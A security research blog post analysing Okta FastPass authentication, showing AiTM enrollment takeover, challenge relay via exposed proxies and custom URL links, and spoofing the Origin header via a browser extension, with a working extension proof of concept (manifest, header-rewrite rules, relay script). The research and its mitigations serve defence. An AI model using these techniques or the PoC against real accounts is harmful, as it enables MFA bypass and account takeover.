Fenix Qiao and Shuyang Wang
In recent years, phishing attacks have become a major threat to organizations, with adversary-in-the-middle (AiTM) phishing especially prevalent as it can bypass MFA. In our previous article, Demystifying Okta AiTM, we demonstrated how Okta users relying on one-time passcodes (OTP) are vulnerable to this attack.
However, phishing-resistant MFA solutions like Okta FastPass are designed to block these attempts. But how? What makes FastPass different, and how does it actually detect and prevent phishing? In this article, we’ll take a deep dive into the technology behind FastPass, examine its security mechanisms, and analyze its potential weaknesses.
Okta Verify is a multi-factor authentication (MFA) app. Similar to Google Authenticator, it supports time-based one-time passwords (TOTP). However, it goes beyond traditional authenticator apps by offering additional authentication methods, including push notifications and FastPass, a device-bound authentication method that enables phishing-resistant, passwordless login.
Okta has a FastPass white paper that explains its workings in detail. While you can refer to the white paper for more, from a high level, it includes two key steps: 1) device enrollment and 2) sign-in challenge.
FastPass is device-bound. To enable FastPass on a new device, users must go through an enrollment process. The diagram below illustrates the workflow of this process:
Now that we understand the enrollment process, as a security researcher, my first thought is: Could it be vulnerable?
The communication between Okta Verify and the Okta server is secured with SSL pinning, which prevents AiTM attacks. However, when we add a new account, authentication isn’t handled within the app but instead redirects the user to the browser.
The login request URL looks like this:
Upon success, the user is redirected to: http://localhost:65112/?code=<code>&state=<state>.
Now, suppose an attacker sends the login link to a victim, tricking them into logging in. If the attacker obtains the authorization code, they can bind their own device to the victim’s account. With Sign in with FastPass, this grants persistent access, leading to a full account takeover.
But of course, it’s not that simple, life isn’t that easy! Simply modifying the redirect_uri results in an error:"The 'redirect_uri' parameter must be a Login redirect URI in the client app settings."
As David Wheeler put it, ’All problems in computer science can be solved by another level of indirection.’ Since the redirect_uri can’t be changed, stealing the code directly is off the table. But if an AiTM proxy sits between the user and the Okta server during login, the attacker can easily capture the authorization code.
Below is a diagram illustrating the attack.
Below is a demo video showing the attack. After the victim logs in via the phishing link, the attacker extracts the token from Evilginx and binds the victim’s account to a threat actor controlled Okta Verify.
This attack is highly dangerous, as AiTM phishing allows attackers to steal the victim’s username and password, then register their own device as an MFA factor (FastPass), leading to full account takeover.
The concept behind FastPass is simple, it relies on public-key cryptography. The process works as follows:
Below is the JWT challenge after decoding.
{
"iss": "https://dev-49281249.okta.com",
"aud": "okta.63c081db-1f13-5084-882f-e79e1e5e2da7",
"exp": 1741900953,
"iat": 1741900653,
"jti": "ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm",
"nonce": "DUNPLclZnvllHtGaxk8D",
"transactionId": "ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm",
"signals": [
"id",
"displayName",
"platform",
"manufacturer",
"model",
"osVersion",
"serialNumber",
"udid",
"sid",
"imei",
"meid",
"tpmPublicKeyHash",
"secureHardwarePresent",
"deviceAttestation",
"deviceIntegrity",
"screenLockType",
"diskEncryptionType",
"clientInstanceBundleId",
"clientInstanceDeviceSdkVersion",
"clientInstanceId",
"clientInstanceVersion"
],
"verificationUri": "https://dev-49281249.okta.com/idp/authenticators/autnj6gd5vBoV3v285d7/transactions/ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm/verify",
"mdmAttestationIssuers": [],
"keyTypes": [
"proofOfPossession"
],
"orgId": "00onj5i355XMMJgrr5d7",
"appInstanceName": "Okta Dashboard",
"method": "signed_nonce",
"requestReferrer": "https://dev-49281249.okta.com",
"userMediation": "OPTIONAL",
"userVerification": "NONE",
"ver": 0}
Notably, the keyTypes field specifies which key pair should be used for signing. This is tied to the app’s authentication policies. If user interaction is required, the User Verification key pair will be used.
From a security researcher’s perspective, this Sign-In Flow raises two important questions:
Let’s first take a look at how the browser forwards the JWT challenge to Okta Verify. There are two methods: Loopback and Custom URL Scheme.
When Okta Verify starts, it launches an HTTP service on 127.0.0.1:8769. As the browser retrieves the JWT challenge, it also receives the configuration for this local service. The browser then forwards the challenge to Okta Verify by sending a CORS request.
The Access-Control-Allow-Origin header in this Loopback Service is dynamically configured. If a request includes an Origin header, the response echoes the same origin. If no Origin is present, the header is set to *.
The diagram below illustrates how Loopback works. Since it requires no user interaction and provides the best user experience, FastPass always attempts to use it first.
A Custom URL Scheme allows apps to register their own protocols (e.g., com-okta-authenticator:/), enabling the system to launch the app and deliver data when a matching URL is opened.
This method allows the browser to pass the JWT challenge to Okta Verify. If Loopback fails, FastPass falls back to this method, but it requires user interaction, prompting the user to confirm opening Okta Verify.
Now that we understand how FastPass works, it uses two methods to pass the JWT challenge to Okta Verify. But how does it detect if a user is coming from a phishing site?
The answer lies in the Loopback method. When the browser forwards the JWT challenge via Loopback, it includes an Origin header, following CORS standard, which reveals where the request originated. Okta Verify captures this origin and sends it to the Okta server, allowing it to identify and block authentication attempts from phishing sites.
In contrast, Custom URL Scheme lacks origin tracking. Since it only passes along the URL without additional context like Origin header or other metadata, it becomes challenging to validate the source of the request.
FastPass relies entirely on the Loopback Server to detect and prevent phishing attacks. Through testing, we made an interesting discovery: even if Phishing-Resistant is not explicitly selected in the authentication policy, FastPass still detects and blocks phishing attempts. This happens because, by default, the browser communicates with the Loopback Server, which has built-in phishing detection as described above.
However, two scenarios can lead to a security downgrade: in both cases, the browser fails to communicate with the Loopback Server and falls back to a less secure URL scheme, which disables phishing detection and exposes users to AiTM attacks.
Below is an AiTM attack demonstration targeting the Okta Admin Console. In our developer instance, Phishing-Resistant is disabled by default.
To work around this, we can enforce Phishing-Resistant in the authentication policy for all apps, so the browser must communicate with the Loopback Server to complete authentication.
Now that we have a solid understanding of how FastPass works, it’s time to explore potential exploits. Let’s think about this: could an attacker relay the JWT challenge to the victim’s Okta Verify for signing?
The answer is yes, and there are multiple ways it can be maliciously exploited.
An unprotected port is dangerous, even if it’s only exposed on 127.0.0.1.
Let’s look at an example. Suppose the victim has Okta Verify installed along with Burp Suite, with Burp configured to listen on 0.0.0.0:8080. As a security researcher, I often do this when proxying mobile app and virtual machine traffic for analysis.
Now, if there’s a bad actor on the same network, they could leverage this Burp Suite proxy to authenticate into the victim’s Okta account.
The diagram below illustrates how an attacker can exploit an exposed proxy.
Here’s a demonstration video. In our test environment, the Okta dashboard is set up for passwordless login with FastPass, with user interaction not enabled. The victim remains completely unaware. If user interaction were enabled, the victim would receive a login prompt and need to unlock the User Verification key pair to sign.
Relay the JWT challenge via a Custom URL Scheme is a simpler and more direct approach. An attacker can embed the URL com-okta-authenticator://deviceChallenge?challengeRequest=eyJ... into a webpage and send it to the victim, tricking them into clicking it. This attack can also be combined with open redirects, XSS, or other web-based exploits to increase its effectiveness.
This is not a unique problem to Okta FastPass — similar issues have been observed in other ecosystems:
Because of these risks, it’s strongly recommended to enforce phishing-resistant authentication property in your Okta policies. This ensures that FastPass uses the Loopback Server flow, which provides a more secure channel for challenge delivery. Additionally, enabling “Require user interaction” adds another layer of protection — even if an attacker somehow relays the challenge through the Loopback, the victim will be prompted to take action, increasing the chance of detecting and aborting the attack.
Still reading? Great. This is the final part.
The Origin header plays a critical role in FastPass’s phishing-resistant trust model. This led me to wonder: is it possible to spoof the Origin header in a browser environment?
Under normal circumstances, the browser enforces strict security restrictions around the Origin header, and it cannot be arbitrarily modified by web content. Spoofing the Origin header is generally not feasible unless there’s a zero-day vulnerability in the browser.
However, there’s one notable exception in the browser ecosystem: extensions. When granted specific permissions, they can intercept and modify both requests and responses — significantly expanding the potential attack surface.
Let’s look at the permissions behind this behavior.
In Chrome Manifest V2, the webRequestBlocking permission allowed extensions to intercept and modify network requests in real time. Due to its powerful capabilities, it was considered highly sensitive.
Manifest V2 is being deprecated and phased out by Chrome — extensions must now migrate to Manifest V3.
With Manifest V3, Chrome introduced significant improvements in security, privacy, and performance. As a result, the powerful webRequestBlocking permission is no longer available to most extensions. Instead, developers are encouraged to use the declarativeNetRequest API, which offers a more restrictive, rule-based approach.
According to the documentation, using this API involves the following permissions:
To use this API, an extension must request the "declarativeNetRequest" or "declarativeNetRequestWithHostAccess" permission in its manifest.json file. The "declarativeNetRequest" permission is shown to users in permission prompts, the "declarativeNetRequestWithHostAccess" is not.
The "declarativeNetRequest" permission allows extensions to block and upgrade requests without any host permissions. Host permissions are required if the extension wants to redirect requests or modify headers on requests or when the "declarativeNetRequestWithHostAccess" permission is used instead of the "declarativeNetRequest" permission. To act on requests in these cases, host permissions are required for the request URL.
To intercept and modify the Origin header in requests to a FastPass Loopback Server, an extension would need either the declarativeNetRequest or declarativeNetRequestWithHostAccess permission, along with a host_permission for http://127.0.0.1/*.
Notably, according to Counting Chrome Extensions – Chrome Web Store Statistics, around 30–40% of Chrome extensions request the webRequestBlocking permission — indicating that request interception and modification are common and widely accepted behaviors within the extension ecosystem. In addition, over 50–60% of extensions request access to <all_urls>.
(The image below is taken from the referenced article.)
With the necessary permissions in place, a malicious extension could manipulate the request headers of sites listed in its host_permissions, including the Origin header, and undermine a core trust assumption in FastPass’s security model.
The extension can act as a relay by running malicious code in its background script to forward FastPass JWT challenge requests. This effectively turns the extension into a man-in-the-browser channel, breaking the origin-based trust model that FastPass relies on.
One notable trick is that explicitly requesting access to 127.0.0.1 may raise suspicion. A more subtle approach is to reuse an existing host_permissions by manipulating DNS to resolve a permitted domain to 127.0.0.1.
To demonstrate the attack, below is a simplified extension PoC.
manifest.json
{
"manifest_version": 3,
"name": "Spoofing Origin via Extensions PoC",
"version": "1.0",
"description": "",
"permissions": [
"declarativeNetRequestWithHostAccess"
],
"host_permissions": [
"*://*.pocs.cc/*"
],
"action": {
"default_title": "PoC"
},
"background": {
"service_worker": "background.js"
},
"declarative_net_request": {
"rule_resources": [
{
"id": "ruleset_1",
"enabled": true
,
"path": "rules.json"
}
]
}
}
rules.json
[
{
"id": 1,
"priority": 1,
"action": {
"type": "modifyHeaders", "requestHeaders": [
{
"header": "Origin",
"operation": "set",
"value": "https://dev-49281249.okta.com"
},
{
"header": "Host",
"operation": "set",
"value": "127.0.0.1:8769"
}
],
"responseHeaders": [
{
"header": "Access-Control-Allow-Origin",
"operation": "set",
"value": "*"
}
]
},
"condition": {
"urlFilter": ":8769",
"resourceTypes": ["xmlhttprequest"]
}
}
]
background.js
function
sendChallengeRequest() {
fetch("http://lo.pocs.cc:8769/challenge", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site"
},
body: JSON.stringify({
challengeRequest: "eyJraWQiOiJid1..."
})
})
.then(res =>
res.text())
.then(text =>
console.log("Challenge sent:", text))
.catch(err =>
console.error("Challenge error:", err));
}
sendChallengeRequest();
By spoofing both the Origin request header and the Access-Control-Allow-Origin response header, a malicious extension can enable any site within its host_permissions to communicate with the Loopback Server and complete the FastPass authentication flow.
Now imagine if the extension has <all_urls> in its host_permissions, this dramatically expands the attack surface and effectively brings AiTM (Adversary-in-the-Middle) attacks back into play.
FastPass is a strong step forward in phishing-resistant authentication, leveraging public-key cryptography and device binding to secure user logins. However, it is not entirely foolproof, and organizations must be aware of potential weaknesses, such as:
Start in minutes and secure your critical SaaS applications with continuous monitoring and data-driven insights.